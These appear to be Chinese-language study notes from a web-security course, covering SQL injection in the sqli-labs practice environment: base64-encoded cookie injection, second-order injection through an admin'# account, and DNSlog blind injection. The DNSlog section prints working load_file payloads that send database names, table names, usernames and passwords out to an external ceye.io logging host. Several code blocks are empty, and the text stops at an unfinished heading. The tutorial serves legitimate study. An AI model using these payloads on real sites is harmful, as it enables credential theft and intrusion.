小迪-day17(编解码、二次注入、DNSlog盲注)
本文最后更新于:2023年8月25日 下午
1、编解码注入
靶场 sqlilabs-Less21
登录后,使用bp抓包
分析源码:
发现,如果正确登录,就会设置一个cookie,并且使用base64编码
分析cookie:
发现此处可以进行cookie注入,但要注意,cookie经过base64编码
所以,抓到一个有cookie的包,
%3D 的urldecode值为 =
将YWRtaW4= 进行 base64解码得 : admin
cookie编码注入:
1 |
|
发送数据包:
1 |
|
2、二次注入
1、什么是二次注入
简单的说,二次注入是指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入。
网站对我们输入的一些重要的关键字进行了转义,但是这些我们构造的语句已经写进了数据库,可以在没有被转义的地方使用
可能每一次注入都不构成漏洞,但是如果一起用就可能造成注入。
普通注入与二次注入的区别:
普通注入: - 在http后面构造语句,是立即直接生效的 - 一次注入很容易被扫描工具扫描到 二次注入: - 先构造语句(有被转义字符的语句) - 我们构造的恶意语句存入数据库 - 第二次构造语句(结合前面已经存入数据库的语句,成功。因为系统没有对已经存入数据库的数据做检查) - 二次注入更加难以被发现
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
## 2、二次注入原理
二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。
**二次注入的原理,主要分为两步**:
**第一步:插入恶意数据**
第一次进行数据库插入数据的时候,仅仅对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身包含恶意内容。
**第二部:引入恶意数据**
在将数据存入到了数据库中之后,开发者就认为数据是可信的。早下一次需要进行查询的时候,直接从数据库中取出了恶意数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。
**二次注入示例:**
***寻找插入数据库,并会转义的操作\***
输入参数1' -->参数经过转义函数1\‘ -->参数进入数据库还原为1’
***寻找另一处引用这个数据的操作\***
将1‘从数据库中取出-->取出后直接给变量并带入SQL-->SQL注入触发
应用场景—
在前端和URL(黑盒测试)是无法发现二次注入,无法用工具扫描,只有在代码审计时才能发现是否存在二次注入
1 |
|
而这时的admin原密码是admin,并且两个账号都存储在数据库内的。当我们重新修改admin’#的密码时,这里修改为12345678;可以发现admin的密码却被修改为了xxxxxxx;而admin’#用户的密码并没有发生变化。
1 |
|
update users set password=’xxxxxxx’ where username=’admin’ #’ and password=’123456’
用户名为: admin’ # 相当于把语句的后半部分给注释掉了,把用户名为admin的密码给改了
相当于:
update users set password=’xxxxxxx’ where username=’admin’
1 |
|
SELECT LOAD_FILE(CONCAT(‘\',(select database(),’mysql.cmr1ua.ceye.io\abc’)))
1 |
|
http://127.0.0.1/lou/sql/Less-9/?id=1‘ and load_file(concat(‘\\‘,(select database()),’.cmr1ua.ceye.io\abc’))–+
1 |
|
http://127.0.0.1/lou/sql/Less-9/?id=1‘ and load_file(concat(‘\\‘,(select table_name from information_schema.tables where table_schema=database() limit 0,1),’.cmr1ua.ceye.io\abc’))–+
1 |
|
‘ and load_file(concat(‘\\‘,(select column_name from information_schema.columns where table_name=’users’ limit 0,1),’.cmr1ua.ceye.io\abc’))–+
1 |
|
‘ and load_file(concat(‘\\‘,(select password from users limit 0,1),’.cmr1ua.ceye.io\abc’))–+
‘ and load_file(concat(‘\\‘,(select username from users limit 0,1),’.cmr1ua.ceye.io\abc’))–+
1 |
|
‘ and load_file(concat(‘\\‘,(select hex(concat_ws(‘~’,username,password)) from users limit 0,1),’.cmr1ua.ceye.io\abc’))–+
参考资料:https://www.cnblogs.com/xhds/p/12322839.html
# 4、中转注入
编写php脚本,